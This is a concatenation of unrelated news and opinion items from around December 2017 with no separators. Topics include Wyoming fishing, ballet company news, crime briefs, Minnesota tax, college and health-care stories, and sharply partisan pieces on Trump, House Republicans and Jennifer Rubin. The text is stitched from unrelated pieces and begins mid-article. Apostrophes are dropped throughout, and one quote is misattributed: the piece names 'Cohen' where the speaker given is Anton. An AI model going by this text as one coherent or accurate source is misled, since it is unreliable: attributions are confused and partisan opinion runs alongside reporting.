The first creek, appropriately called Atlantic Creek, flows into the Yellowstone River and on to the Atlantic Ocean, while Pacific Creek flows into the Snake River and eventually feeds into the Pacific Ocean. More than 450 miles of trails lead to fantastic fishing areas and beautiful plateau country featuring lodgepole forests and sprawling meadows.

This is prime cutthroat country. In early summer, they migrate from Yellowstone Lake up the Yellowstone River to spawn in the Teton Wilderness. Thorofare Creek is particularly good for cutthroat fishing, but you can also cast a line to them in some of the tributaries. Keep an eye out for grizzlies in this area and always carry bear spray.

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Where to Camp in Wyoming: Staying in Wyoming fly fishing lodges can be a relaxing experience after a day of fishing. But sleeping under the stars in the wilderness can be magical. For details on the best camping locations, see our articles on the top campgrounds at Grand Teton National Park and Yellowstone National Park. And if you're traveling elsewhere in the state, plan your travels with our list of the best places to camp in Wyoming.
When Hope Muir was asked to apply to be Charlotte Ballets new artistic director, the Scottish Ballet assistant artistic director flew stateside to North Carolina for some sneaky reconnaissance. After scouting out the city and the company, Muir gathered it would be a good fit. She worked as artistic advisor for Charlotte Ballet last season, but officially took over her new post on July 1.

While Muirs vision for the company emphasizes new commissions and collaborations, shes committed to building on the legacy of former director Jean-Pierre Bonnefoux. Famed Balanchine dancer Patricia McBride is staying on as associate artistic director. I have a firm belief in the classical training and will continue to produce works on pointe and with storytelling, says Muir, formerly a dancer with English National Ballet, among other companies. Im just coming at it with a different experience and skill set, and am hoping to introduce new ways of doing things.

Muir with Charlotte Ballet dancers. Photo by Justin Driscoll, Courtesy Charlotte Ballet.

The companys spring season includes the U.S. premiere of Javier de Frutos The Most Incredible Thing, with music by the Pet Shop Boys, as well as a collaboration with the Charlotte Symphony Orchestra. Muir has also instituted a choreographic lab to nurture talent within the company. The dancers are so committed to me and to the work, and theyre so generous with the choreographers. says Muir. Its the most amazing thing.
Ever since President Obama reestablished diplomatic relations with Cuba in 2014, the two countries dance communities have been eager to strengthen relationships. Now, in spite of tightened travel and business restrictions by the Trump administration, an exciting new collaboration is on the horizon: Clevelandbased Verb Ballets is teaming up with Cuban ballet company ProDanza for a series of performances in Havana. There, the two companies will combine to form the Cleveland Havana Ballet, presenting a full-length production at the prestigious Alicia Alonso Grand Theater.



Last spring, the Cleveland Foundation, through its Creative Fusion: Cuba Edition program, brought ProDanza artistic director Laura Alonso to Ohio for a two-month residency with Verb Ballets, where she taught classes in the rigorous Cuban style. Were not a classical company, so the dancers needed that kind of training, says artistic director Dr. Margaret Carlson in a phone interview. Alonsoa former dancer with the National Ballet of Cuba and daughter of its founder, prima ballerina Alicia Alonsoworked with the company to break technique down to the little finger, says Carlson, who points out that its hard to get that kind of training anymore.

Laura Alonso (far left) works with dancers of Verb Ballets during her two-month residency last spring. Photo by Susan Bestul, Courtesy Verb Ballets.

Afterwards, Alonso approached Carlson about bringing Verb Ballets to Cuba, and proposed that their two companies join forces to create the Cleveland Havana Ballet. From there, a plan quickly emerged: With funding from the Cleveland Foundation, the nine-member Verb Ballets will travel to Havana in early March. Theyll first share the stage with ProDanza in a repertory program March 911 at the Teatro Miramar, highlighting the different styles between the Cuban and American dancers. The following week, as Cleveland Havana Ballet, theyll merge to perform the full-length classical ballet Yarini at the Grand Theater March 1618. Choreographed by Alonsos son, Ivan Alonso, the two-act ballet centers around Alberto Yarini, a popular historical figure in Cuban culture.

The Alicia Alonso Grand Theater. Photo by Quinn Wharton.

Itll be a really great exchange, says Carlson, who notes that Cuban contemporary ballet is quite different from its American counterpart. Its important for dancers to get out of their comfort level. As an added bonus, Tour Cuba Now, the authorized touring agency Verb Ballets is working with, is offering a five-day/four-night sightseeing trip for those interested in seeing the companys historic performances.

Verb Ballets dancers in rehearsal with Alonso (not pictured). Photo by Susan Bestul, Courtesy Verb Ballets.

ProDanza was originally supposed to travel back with the company to perform in Cleveland, but the dancers are currently unable to attain visas. However, Carlson says funding is set aside to bring them in if and when the time comes, and adds that they are considering touring Cleveland Havana Ballet to other countries in the meantime, since the same visa restrictions wouldnt apply. Our intent is that this will be a long-term relationship.


John Ruzas, the man convicted of killing New York State Trooper Emerson Dillon in 1974, was scheduled to be released from prison today after the New York State Troopers' union lost its appeal in state Supreme court.

A judge denied the NYS Troopers' Police Benevolent Association's appeal to keep Ruzas in prison, Syracuse.com reports.

The troopers' union said on their Facebook page Saturday that it is "extremely disappointed" that New York State Attorney General Eric Schneiderman "is fighting the PBA , and his legal team is representing the parole board and the killer!!"

On Oct. 24, 1974, New York State Trooper Emerson Dillon was shot and killed after stopping a speeding car along the Thruway near Canastota. Two men in the car had just robbed a jewelry store in DeWitt.

Ruzas was sentenced to 25 years to life for the murder.
A woman was arrested after spitting in the face of Houston's police chief when he tried to arrest her for allegedly stealing items from a Walgreen's on Saturday, officials said.

Houston Police Chief Art Acevedo was off-duty and shopping when he saw Danielle Paris, 40, taking items from the drugstore and harassing employees outside, police told Fox News.

Paris, who was apparently intoxicated, then resisted arrest when Acevedo tried to detain her, kicking and spitting several times on him and another officer who responded to the scene, police said.
Byre World Series: Monika Szydowska

14 February, 6pm

Byre Theatre

Abbey Street

St Andrews

Fife KY16 9LA

FREE, but reservation required here



Monika Szydowska is an author of a popular webcomic Na Emigracji that illustrates the experiences of Polish immigrants in the UK. The blog had been maintained since October 2013 and read by more than 10,000 fans. By using a style reminiscent of comic illustration it relates the trials and tribulations of immigrants who have decided to move to the British Isles. They are frequently comical  either through laying bare prevailing stereotypes (on both sides) or through making wry observations of cultural differences.



Dr Emily Finer (Dept of Russian, University of St Andrews) joins Monika Szydowska for a discussion of her work that has been recently published as a book Do You Miss Your Country? (2016).






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Rachel Maddow sounded the alarm on Monday, saying that while its important to focus on the possibility that Robert Mueller may be fired, its not the only scenario that could result in a full-blown constitutional crisis.

According to Maddow, the special counsel investigation into the Trump campaigns ties to Russia could be derailed without the firing of Mueller.

Video:

Rachel Maddow Sounds Alarm: Trump Doesnt Have To Fire Mueller To Derail Russia Investigation #Maddow pic.twitter.com/odLujbY31h  Sean Colarossi (@SeanColarossi) December 19, 2017

Maddow said:

All of these swirling beltway reports right now that the president is seriously considering what means he has to impede the Mueller investigation, to block it somehow. If he gets any sort of reason to fire Rod Rosenstein, that will get them a good distance down that road. The president does have options if he wants to start firing people in the Mueller investigation.  But what if its not Robert Mueller who gets fired? What if its Rod Rosenstein or Jeff Sessions, either of whom could start the process that would result in the end of the Mueller investigation? The Republican effort to try to undermine and create a politically plausible pretense for firing him has gone through a bunch of different iterations since this investigation started. And its one thing to see the attempt to create that pretense from the White House or from pro-Trump members of Congress. It is another thing to see it from the Justice Department itself.

As Maddow noted, there has appropriately been a focus on the chaos that would ensue if Trump decided to fire Robert Mueller, who is leading the increasingly explosive special counsel investigation into his campaigns ties to Russia during last years election.

But its important to remember that the president can still achieve his obvious goal of thwarting the Russia investigation without directly firing Robert Mueller. And perhaps with all the attention focused on Mueller, he would be more likely to take that route. As Maddow said, he could force the ousting of either Attorney General Jeff Sessions or Deputy Attorney General Rod Rosenstein, both scenarios which could set in motion the end of the Mueller investigation.

In either of those cases, Congress and the American people should be equally alarmed and act accordingly.
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In a stunning but not all that surprising admission on Monday, a White House official said that he wasnt sure if Donald Trump has read the administrations new national security strategy.

In an interview with CNNs Wolf Blitzer, Trump national security spokesman Michael Anton said he cant say whether the commander-in-chief of the worlds most powerful military has read the 55-page document, which was released Monday.

Video:

Wolf Blitzer: Has the President, as far as you know, read the entire strategy document? National security spokesman Michael Anton: I cant say that he has read every line and every word https://t.co/cDCiIuuj61 pic.twitter.com/6aiJDXBpVd  The Situation Room (@CNNSitRoom) December 18, 2017

After Blitzer asked whether Trump himself read the entire strategy document, Cohen said:

The president has been involved in the drafting of it from the beginning, has been presented with sections of it over the past many months and was briefed on the final document several weeks ago. The president himself personally led the presentation of the document to his Cabinet only about a week ago.  I cant say that hes read every line and every word. Hes certainly had the document, the entire, throughout the process and has been briefed on it. And remember, this document specifically is based on his words, its based on his campaign speeches and his major speeches this year. So this document is a summation of everything hes been talking about for at least the past two years and really much longer.

Its sad enough that the leader of the free world has consistently raised questions about his fitness to serve in office, forcing journalists to question whether hes even reading his own strategy documents. But its a whole new level of terrifying that White House officials dont even deny that, yeah, he probably doesnt read them all.

During such a pivotal time for American foreign policy  with ISIS still plotting attacks, North Korea on the brink of waging nuclear war, and Russia emboldened to wage more cyber attacks against the U.S. and our allies  its terrifying that the President of the United States doesnt care to do his homework when it comes to the most important part of his job.

The list of reasons why Donald Trump should be removed from office continues to pile up.
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After a year in which natural disasters devastated Texas, Florida, Puerto Rico, California, the U.S. Virgin Islands, and other places across the country, the House has finally unveiled an $81 billion relief package.

POLITICO reports that the bill is divided among Texas, Florida, Puerto Rico,the U.S. Virgin Islands, and states ravaged by wildfires.

Though the new package is a significant increase from the $44 billion in disaster relief funds the Trump administration asked Congress for, it will undoubtedly fall short of what the affected areas actually need.

In November, Puerto Rico alone asked for $94 billion to help rebuild the island; Texas requested $61 billion. Experts estimate that the damage inflicted on Florida and Texas by Hurricane Harvey and Irma totals between $150 billion to $200 billion. When one factors in the Hurricane Marias destruction, the cost gets astronomically higher.

Beyond financial losses, the natural disasters that raged across the country this year claimed a tragic number of human lives. Hurricane Harvey is estimated to have taken 82 lives, and Hurricane Irma 61. While the official death toll in Puerto Rico is 62, the islands governor has requested a review of the number, as increasing evidence shows that the actual figure might be over 1,000.
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As House Republicans were stealing trillions of dollars from working people and giving it to the wealthy and corporations, protesters chanting shame were kicked out of The Peoples House.

Video:

Republicans kicked out of the House gallery that they were supposed to be representing so that they could pass tax cuts for their wealthy donors without interruption. This was a moment that captured all that is wrong with the Republican majority in Congress. Instead of listening to the people, they kicked them out.

The House passed the bill 227-203, but the rumbling sound coming from an enraged electorate cant be ignored. House Republicans delivered for their donors today, but they will be the ones paying when voters go to the polls in less than a year.
ST. PAUL  Congressional Republicans this week expect to pass their massive tax overhaul that includes cutting the top federal corporate tax rate to 21 percent, from 35 percent. That will likely put billions of dollars in the pockets of major Minnesota companies.

What will they do with all that dough?

Republican leaders argue the tax cuts will spur job growth. A national survey of 123 CEOs found the vast majority believe the tax package will increase investment and hiring. That should hold true in Minnesota, said Charlie Weaver, executive director of the Minnesota Business Partnership, whose members include more than 100 top executives from the state's largest employers.

"They want to expand here. They want to grow in Minnesota. which means that they would put more into research and development," Weaver said. "They would put more into building things and capital, which could result clearly in hiring workers. Those are going to be good wage jobs."

But those big Minnesota-based companies haven't said much, if anything, about what they'd do with tax savings. They certainly have options that would put money in the pockets of investors instead. And soaring stock prices indicate investors are betting corporate windfalls will be heading their way.

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"The indications that we're getting and what we're seeing ... at least in the near term, it's likely to be more share buybacks, higher dividends," said Glenn Johnson, a senior vice president at the Mairs and Power investment firm in St. Paul.

Dividends are the portion of earnings that companies pay out to investors. With share buybacks, a company buys its own stock off the open market. The goal is to reduce supply and increase the price of remaining shares.

Dividend payments can be substantial. Maplewood-based 3M, for instance, has been paying dividends equal to about half of its earnings, while UnitedHealth Group of Minnetonka pays out about a third to investors.

Whatever companies do with their tax savings, the amount they save will vary widely. That's because the tax rate they pay spans a large range, depending on how and where they make their money and other factors.

Companies that get most of their sales and profits outside the U.S. will probably benefit less from tax reform, Johnson said. That's because the taxes imposed on earnings abroad are lower than in the U.S.

UnitedHealth Group's effective tax rate  which includes federal, state and other taxes  was 40 percent in the fiscal year that ended in January. So, the corporate tax cut would slash that by roughly half.

3M's overall tax rate was about 28 percent while Fridley-based medical device maker Medtronic paid a mere 18 percent in fiscal 2016, reflecting the movement of its headquarters to Ireland for tax purposes.

Target's tax bill will likely drop significantly, which could mean "anywhere from a 15 to 20 percent boost to earnings," said Brian Yarbrough, retail analyst with the investment firm Edward Jones. A 20 percent jump in last year's earnings would amount to more than $500 million.

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Would the Minneapolis-based retail giant hire more people, raise wages and accelerate store openings? Yarbrough thinks not. He believes Target will pass the savings on to shareholders.

Conversely, U.S. Bank and its investors may not get as much of a kick from tax reform as its peers.

Analysts say the company has strategies that keep its tax rate well below the 35 percent level. The bank has been adept at keeping its tax rate down, averaging 26 percent in recent years, said Eric Compton with the investment research firm Morningstar.

For 3M, Medtronic and other companies with extensive international operations, the biggest payoff from tax reform could be a provision allowing them to pay lower taxes than they would now pay on overseas profits back to the U.S. In June, Bloomberg News reported that Medtronic had about $14 billion in cash overseas and 3M had $2.3 billion.

In a conference call with analysts last month, Medtronic Chief Financial Officer Karen Parkhill said getting access to its cash held outside the U.S. would be the biggest long-term benefit of tax reform to the company.
As a researcher, Victor Montori published hundreds of studies about patient care with his team. But he didn't see any change in the way the health-care system was run until he joined the revolution.

The intersection between patient care and the needs of physicians was the topic at a Patient Revolution panel in Cafe Steam on Monday evening.

The Patient Revolution is a nonprofit organization that emphasized "careful and kind" hospital care and a patient-focused health-care system, which stemmed from Montori's research.

Montori, a researcher in the Knowledge and Evaluation Research Unit at Mayo Clinic, read from his book, " Why We Revolt: A Patient Revolution for Careful and Kind Care, " which he wrote to encourage other members of the "patient revolution."

The "patient revolution" must take the focus away from putting people through the system of health care and instead emphasize practices that fit the needs of the patient exactly, he said.

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He was joined by Monika Duitch, who works in cardiology and care at Mayo, and Paul John Scott, a health journalist who previously wrote for the Post Bulletin.

Patient at the center

Montori wrote "Why We Revolt" to guide and encourage "patient revolutionaries" who will "demand and achieve health care for all."

Scott said health-care discussions usually focus on one of two issues  increasing technology in or broadening access to health care.

"Why We Revolt" posed a third question, he said: "What is going on in health care, and why does it ask so much from a patient?"

When Duitch is a patient and she sees a sign on the wall that says, "We can only manage two primary concerns per visit," she feels frustrated, she said.

"If you know me, you know I have at least a hundred," she said.

Earlier this year, Duitch experienced health care as a patient when she was hospitalized.

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"What I saw was nurses who spent time at the bedside with me, residents and doctors who took time out of their rounds to answer questions, and came back at the end of the day to answer more," she said. "Those things were so important to me."

Shift in thinking

As a practitioner, she was well aware of everything going on behind the scenes  endless charting, data entry and hundreds of other patients demanding attention.

The book, however, articulated many of her concerns as a patient and practitioner.

"It starts a conversation and it give you the tools, both as a patient and a clinician, to move toward something more positive," she said.

"Innovation added years to my mother's life, but I also wonder if we get stuck in traps and think the thing that's going to save medicine is the next big discovery," Scott said. "But what if it's what Victor is talking about  a shift in thinking?"

Electronic medical records and data charting are useful, Duitch agreed, but they aren't everything.

"I think things go wrong when they take you away from the patient," she said.

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Seen without being seen

Part of the book's goal is to articulate the changes in health care or the ways patients can feel failed, Montori said  like "blur"  the idea that a person has gone through a health-care visit or procedure without really being seen by their clinician.

Burnout, another issue discussed, can happen when physicians can't reconcile their mission (helping people) with their daily tasks (navigating new rules), he said.

The timing of the book is particularly profound, as DMC preparations continue, Scott said.

"We are starting to wonder how to transform the health-care system as all these buildings go up," he said. "It's more than building."

Starting a #PatientRevolution could harness that same force, Duitch said, by asking patients to share stories of the ways the health-care system has either failed or supported them.

She modeled the potential movement after the #MeToo movement against sexual assault. Care that treats people like a number is unacceptable, Montori said. Breaking down tolerance is the first step, but there must also be a social revolution, he said.

"The movement not only is for patients, but we think it's going to be done by citizens," he said. "As we pursue caring and kind health care, we should find not only patients, but students  hospital workers and social workers, physicians, nurses, nurse practitioners who find that the system stopped caring for patients, but stopped caring for the front lines."
Whitewater State Park and Winona State University are seeking tens of thousands of Lego bricks to construct a topographic model of the Whitewater Watershed.

Project organizers are conducting a Lego drive through Jan. 15 in hopes of collecting the 50,000 bricks needed for the model. The goal of the 3-D watershed model is to promote awareness and engage the community in conversations about water.

"Many people don't know what a watershed is," said Dylan Blumentritt, a Winona State University assistant professor working on the project. "So it's really to kind of spur that dialogue of, 'What is a watershed, where do they exist?'

The idea for an 8-foot-long, 6-foot-wide Lego watershed model came from the need to better engage the community, Blumentritt said.

"The idea was to build it out of Legos  so it would be something that the kids would be interested in right off the bat because it's made out of something that they're familiar with," he said.

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Different areas of the watershed  such as wetlands, forests and water bodies  will be color-coded in the model. Blumentritt and others will also conduct mapping of the Whitewater Watershed for best scaling.

The model will be constructed in a Winona State classroom over spring break in March, Blumentritt said. Once completed, it will be displayed at Whitewater State Park's interpretive center through the summer.

Allison Bender, a Green Corps member coordinating the Lego project, said the model will then travel through surrounding communities to help spur dialogue about the importance of watersheds.

"Once it's constructed, we really want it to be something that goes out into the community and is used as an educational tool for the people," she said.

The model will likely be displayed at local libraries, schools, farmers' markets and community fairs, Bender said. A curriculum will be developed to supplement the model and engage the public.

Activities may include breakout sessions in which small groups use Legos to create water and land features, Bender said.

"I think some of it is just having that bird's-eye perspective (of a watershed) really helps people," she said.

Those looking to donate Legos for the project can drop them off at the following locations:

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 Whitewater State Park (Altura)

 St. Charles, Plainview, Wabasha and Winona public libraries

 Cascade Meadow Environmental Science Center, 2900 19th St. NW, Rochester

 Winona State University Geoscience Department (130 Pasteur Hall, Winona)

 Minnesota Pollution Control Agency building in St. Paul.
Minnesota State College Southeast President Dorothy Duran announced her resignation with "heartfelt regret" last week to faculty, staff and students after a nearly four-year tenure.

The resignation will be effective January 8, 2018, the first day of the spring semester, though a reason wasn't given for the decision. In her resignation letter, dated Dec. 14, Duran noted challenges facing the college  with campuses in Red Wing and Winona  included declining enrollment over the last six years.

"Despite these challenges, however, the faculty and staff have always provided a quality learning and supportive environment for our students at both campuses," Duran said in the letter. "Working together, we accomplished great things."

But the challenges extended beyond enrollment. At the end of November, the college faced its most recent obstacle: the indefinite suspension of the registered nursing program because NCLEX-RN licensing exam dropped below the minimum acceptable  75 percent of students must pass on their first attempt.

In June 2016, the college announced a name change , taking it from Minnesota State College-Southeast Technical to Minnesota State College Southeast. That name change was accompanied by the addition of an associate of arts degree option; the college added other liberal arts options to its tech-focused lineup a year later, including a psychology degree and creative writing certificate.

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Duran noted her accomplishments included obtaining a special accreditation for the college's practical nursing program, transitioning to a "comprehensive community college," and being named a "Beyond the Yellow Ribbon" school for the college's support of veteran students.

The school's director of communications, Katryn Conlin declined a Post Bulletin interview with Duran, noting that she would not provide interviews to any media at this time, though she didn't provide a reason for declining. "That's just the situation we have here," she said.

Duran's resignation letter on Thursday was followed by a letter from Devinder Malhotra, the Minnesota State system's interim chancellor, assuring faculty, students and staff of a "smooth and effective leadership transition."

Malhotra named MSC Southeast Vice President of Finance and Administration Mike Kroening the college's acting president, effective Jan. 8, until an interim is announced. In the same letter, he announced a call for nominations and expressions of interest in the president position.

Malhotra said he will travel to Red Wing and Winona in January to present the college's new interim president, and to meet with students, faculty, staff, administrators and community members. During these meetings, the college will also discuss the timeline for the next permanent president.

"While I am saddened to be leaving this wonderful college, I am optimistic about the future of Minnesota State College Southeast," said Duran's letter.
ST. PAUL  Edwin Rasmussen stood outside before the graduation ceremony at McNally Smith College of Music, in a black gown, mortarboard on his head.

After taking time off from school, he returned this fall to finish his last set of credits.

"I feel like I just made it out just in time," he said. "It feels great to be graduating, this is one the proudest days of my life. And I'm just glad that they are still having it. It's great to see all these people one last time."

On Thursday, students and staff were told the downtown St. Paul school is closing due to a lack of funding. Faculty and staff didn't get their last paychecks on Friday because of those financial issues. The school has about 450 students.

Graduation Saturday was a bittersweet ending for the semester, for the school, for the staff and the students. The school is set to close Wednesday, and while there are more finals to finish and grade, this was a final goodbye.

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For student Tyler Hylland, he was proud of his classmates. But he also has just five credits left for his hip hop degree  a degree that is unique to the school.

"I might be able to get a different degree, but there's going to be a lot of other school work and a new whole field of study basically if I want to be able to graduate," he said.

He's worried for his classmates in the dorms. Their meal plan is in disarray after the cafeteria closed. A group of students and staff banded together to make sure those students have food.

Student speaker and graduate Camille Gibson spoke about the day's difficult dichotomy for students and staff.

"Ultimately that is what this institution is about," she said. "It's about a unified, diverse community. A community that uses its last remaining resources to lift people up and be there for each other no matter how difficult the circumstances might be."

Thirty-three students walked across the stage Saturday to get their diplomas. Graduates heard about the importance of their music in the world, of improvisation and of perseverance in the face of difficult circumstances.

After the ceremony, students and staff hugged, cried and celebrated in the atrium.

Junior Andrea Fonseca of Costa Rica, said she and her international classmates have 60 days for find a school to transfer to in the US, or else their visas will end.

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With the visa issue, she and other international students are afraid to travel.

"We had flights booked, all of us, we had flights booked for the holidays," she said. "We all wanted to go see our families and their friends. And the international representative of the school said she's afraid that we go on those planes because we're probably not going to get let back in."

Still, she found joy in the day.

"I think today's a day to celebrate, I think today's a day so that students can say thank you to their teachers, and thank you to the staff," she said. "It's a day where we all come together as a community and, this is happening to all of us at the same time. And we're here for each other and celebrating all the people who did get to walk out of here with their degrees."

The Minnesota Office of Higher Education says it is working to help students figure out their options in transferring.
MINNEAPOLIS  A Minnesota prosecutor who publicly criticized agents investigating the death of an Australian woman fatally shot by a police officer said Monday that he is sorry and was wrong to discuss the agency's work in a public setting.

Hennepin County Attorney Mike Freeman issued both written and videotaped statements Monday apologizing to the state Bureau of Criminal Apprehension, which is investigating the July shooting of Justine Ruszczyk Damond. He said he didn't know he was being recorded when he spoke critically of investigators, but "nonetheless, my comments, under any circumstances, were ill advised and I am sorry."

Last week, Freeman was at a union holiday reception when he was asked about a charging decision against Officer Mohamed Noor. Freeman expressed frustration, saying he doesn't have enough evidence yet to charge the officer. He said it wasn't his fault and investigators "haven't done their job." He also suggested Noor's refusal to speak to investigators had put prosecutors in a difficult position.

"I have to prove beyond a reasonable doubt, (that) the moment he shot the gun, he feared for his life. And he used force because he thought he was gonna be killed," Freeman said last week. "But I can't. He won't answer my questions because he doesn't have to, OK?"

While he apologized in his statement Monday for speaking publicly about the case, Freeman did not say whether he stood by the comment that investigators were not doing their jobs or whether it was inaccurate.

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He also said that investigators have been working nonstop to gather evidence and follow every lead to resolve the case, but police cases are complex and demand the most thorough investigations possible.

"While some clamor for swift justice, only careful, detailed work and careful analysis brings us real justice," he said Monday. "That is what this case deserves and that is what it will get."

Freeman said Monday that he believes it's his responsibility to talk to constituents who ask him what he is doing, so he did so when he was approached. But he admits it was wrong to discuss the investigators' work. In addition to the public apology, he said he also personally apologized to the Department of Public Safety commissioner.

The BCA had no comment Monday, but has said that it's been working with Freeman's office from the beginning and will continue to do so. The BCA said it investigates the majority of officer-involved shootings in Minnesota "because of our thorough and professional approach to ensuring the integrity of an investigation."

According to authorities, Noor shot Damond in the alley behind her home in July after she had called 911 to report a possible sexual assault. As she approached the squad car, Noor fired from the passenger seat, across his partner and through the driver's window.

Damond's death sparked protests and led to a police department shake-up, including the resignation of Police Chief Janee Harteau.

Freeman had said previously that he wanted to have a charging decision by the end of the year. He said Monday that he'll share information about the status of that decision next week.

Attorneys for Damond's family and for the officer have expressed concern about Freeman's comments, but for different reasons.

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Bob Bennett, the attorney for Damond's family, said Freeman's apology was carefully crafted, "but most notably he did not say that any criticism or complaint he leveled at BCA was, in any way, inaccurate or unfounded." Bennett has said that BCA investigations favor officers' version of events.

He said Monday that if Freeman's criticism is true, then "the BCA should be the party apologizing."

Noor's attorney, Thomas Plunkett, said he was aware of Freeman's apology and is "just trying to do everything I can to make sure that Officer Noor is treated fairly in this process." Last week, Plunkett said investigators gather evidence, they don't create it. He said he'd be concerned about any supplemental investigation overseen and influenced by Freeman's office
CHISHOLM  Christine Olson begins each day as a volunteer weather observer for the CoCoRaHS Network.

"It really is meaningful," Olson told the Mesabi Daily News , as she showed on a recent evening how she collects snowfall data each morning from a gage in her backyard.

Citizen scientists such as Olson contribute to a better understanding and more accurate measure of precipitation to assist meteorologists, hydrologists, emergency managers, insurance adjusters, engineers, farmers and many others through their daily snow and rainfall readings.

But the elementary students in Chisholm, where Olson teaches first through third grade special education, simply think it's pretty cool that when they hear on the news the amount of rain or snow that fell in Chisholm on a particular day  "that number came from my backyard."

Anyone can become a volunteer weather observer with the CoCoRaHS  Community Collaborative Rain, Hail and Snow Network.

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It is a nationwide "community project," and the only requirements, according to the network, are "an enthusiasm for watching and reporting weather conditions and a desire to learn more about how weather can affect and impact our lives."

Participants of all ages simply sign up on the program's website, purchase an inexpensive rain gage (roughly $30), complete online training via videos and slide shows, and are set to go, said Steve Gohde, observing program team leader with the National Weather Service of Duluth and the regional CoCoRaHS Northland and Arrowhead volunteer coordinator.

For Olson, the role is a perfect fit.

"Ever since I was a little girl, I've been fascinated with weather"  especially storms, she said. In fact, seeing a tornado one day is "on my bucket list."

Olson initially began volunteering as a severe storm spotter for SKYWARN, a National Weather Service program.

Through that connection, she learned of CoCoRaHS. The program began as a grassroots effort in Colorado in 1998 and has grown into network of thousands of volunteers in the United States, Canada, Puerto Rico and the U.S. Virgin Islands.

Sponsored by the National Oceanic and Atmospheric Administration and the National Science Foundation, CoCoRaHS "fills in the gaps of data holes," Gohde said.

There are currently 70 CoCoRaHS observers in the Northland, but the area could benefit from many more, he said.

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When meteorologists "see something on the radar, we can collaborate the information," Olson said. "We can tell them if it's actually happening. They rely on us."

Reports from CoCoRaHS volunteers are logged on the program's map, and participants, according to the network, "provide a great service" to their community by allowing "friends, neighbors, scientists and others to see how daily precipitation has covered the state."

"I report every morning as close to 7 a.m. as I can," said Olson, who logged her first CoCoRaHS readings on April 28, 2012. Volunteers are asked to take measurements at about the same time each day. Olson has since contributed more than 1,887 reports.

Precipitation in the form of rain is the easiest to collect, she said. Readings are taken directly from the gage to the nearest 100th of an inch.

Tracking the moisture content of frozen precipitation takes a bit more work. Olson must pour hot water into the cylinder to melt the snow, then employ simple mathematics to "compensate for the displacement," she explained.

Olson also uses a measuring stick to take two other snowfall readings  one directly from a spot on the lawn in her backyard and the other from atop a "snowboard." The piece of wood is painted white to prevent it from absorbing heat.

Sometimes measurements are too minimal to measure, and they are entered as a "trace" amount. "Zero is OK" to report, Olson said. And if conditions are windy, resulting in inaccurate readings, Olson can make note of that in a comment section on the report.

Some CoCoRaHS observers also use "hail pads" to measure indents of the frozen precipitation. Olson said she typically doesn't report on hail since the area doesn't have that many hail storms.

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"They do study the info we provide" to gain more knowledge of climate patterns, she said. "The moisture content of the snow can predict what kind of spring we will have."

And occasionally, Olson receives special calls from the weather service to provide observations.

Being a "weather nerd" may be a good reason to volunteer with CoCoRaHS, but "it really is fun," she said. "It's a way to contribute."

"We try to encourage people to become citizen scientists and to help by providing rain and snowfall readings," Gohde said.

It's a great "job" for any weather enthusiast, Olson said. The more people who volunteer, "the more data they collect and the bigger picture we get."
Charles Cooke has written a devastating take down of Jennifer Rubin, the Washington Posts ostensibly conservative blogger and reflexive critic of President Trump. Cooke has not hesitated to criticize Trump. Thus, his article isnt coming from a pro-Trump perspective. Rather, its based on dismay over Rubins intellectual dishonesty.

There is plenty to be dismayed about  more, as we shall see at the end of this post, than even Cooke knows. And Cooke knows plenty. He writes:

If Trump likes something, Rubin doesnt. If he does something, she opposes it. If his agenda flits into alignment with hersas anyones is wont to do from time to timeshe either ignores it, or finds a way to downplay it. The result is farcical and sad; a comprehensive and self-inflicted airbrushing of the mind.

For example:

When President Obama agreed to the Paris Climate Accord, Rubin left her readers under no illusions as to the scale of her disapproval. The deal, she proposed, was ephemeral, a piece of paper, a group wish, a nonsense that would achieve nothing. That the U.S. had been made a party to a covenant so devoid of substance, she added, illustrated the fantasy world in which the Obama administration lived, and was reflective of Obamas preference for phony accomplishments, his tendency to distract, and his bases craven willingness to eat up any bill of goods they were served. At least it did until President Trump took America out of it, at which point adhering to the position she had theretofore held became a senseless act, a political act, a dog whistle to the far right, and a snub to elites that had been calibrated to please the climate-change denial, right-wing base that revels in scientific illiteracy. . .To abandon the ephemeral piece of paper, Rubin submitted, would materially damage our credibility and our persuasiveness and represent conduct unbecoming of the leader of the free world.

Or consider Jerusalem:

In 2010, [Rubin] praised Marco Rubio for arguing that Jerusalem is Israels capital, as the U.S. Congress has repeatedly recognized and lauded the Jerusalem Embassy Act of 1995 as the concrete on which Republicans should walk. Two years later, in the midst of her self-appointed tenure as the president of Mitt Romneys fan club, she reversed herself, hitting Newt Gingrich for holding precisely the view she had previously recommended, while endorsing Romney for his relative judgment, restraint and . . . good sense in opposing her. It really is time, she submitted, to stop promising something that the U.S. cant and shouldnt deliver unilaterally. A few weeks later, when Romney began to sound more hawkish, she endorsed his new position, too, holding it up as a blow to the Obama campaigns frantic efforts to defend the presidents hostile stance toward the Jewish state, and insisting that, Of course, Jerusalem is the capital. It was declared so in 1948. The Knesset is there. The disposition of its borders is a matter for final status negotiation, but only an uninformed or virulently insensitive administration would be unable to distinguish the two. This stance lasted into the Trump era. In June, Rubin complained angrily that the White House was delaying its move of the U.S. Embassy from Tel Aviv to Jerusalem, a delay, Rubin wrote, that was not only pointlesspresidents come to believe that the move would somehow prejudice peace talks (of which there are none presently) or inflame Palestinians, perhaps causing an increase in violence, she caviledbut that was indicative of Trumps tendency never to keep his word. The world, Rubin advised, is learning to disregard everything this president does and says  a habit that will adversely affect everything from the war against Islamist extremists to trade opportunities. Trump, she concluded, looks buffoonish in his hasty retreat.

But then:

Trump announced that the United States would finally be recognizing Jerusalem as Israels capital, and, in time, moving its embassy there. And what did Rubin say? That it was a foreign policy move without purpose, indicative of a non-policy-based foreign policy.

Cooke asks:

What, one wonders, happened in the interim? Did the benefits of the presidents keeping his word  so lavishly and hyperbolically outlined just a few months earlier  disappear upon the instant? Did a presidents view on this question cease suddenly to serve as a proxy for his stance toward the Jewish state? Or was it more simple than that: Was it that, just as Rubin couldnt bring herself to criticize Mitt Romney, she cannot bring herself to praise Donald Trump? As an affect, Jennifer Rubin writes as we. Has there ever been a more appropriately schizophrenic pronoun?

Cooke also cites Rubins stunning about-face on the Iran deal. Two years ago, it was ludicrous, absurd, and ha[d] to go. Now, for President Trump even to decertify the deal would put American credibility at risk.

Cooke cites additional examples of Rubins consider-the-source approach to public policy: tax cuts, welfare, energy, and gun control.

As I teased at the beginning of this post, Rubins unprincipled approach predates Trumps emergence on the political scene. It also predates her service as cheerleader for Mitt Romney.

When I first met Rubin in 2007, she was a Rudy Giuliani supporter (Giuliani now, of course, is a leading backer of Trump). As such, she lit into Giulianis main rivals at the time, one of whom was Mitt Romney.

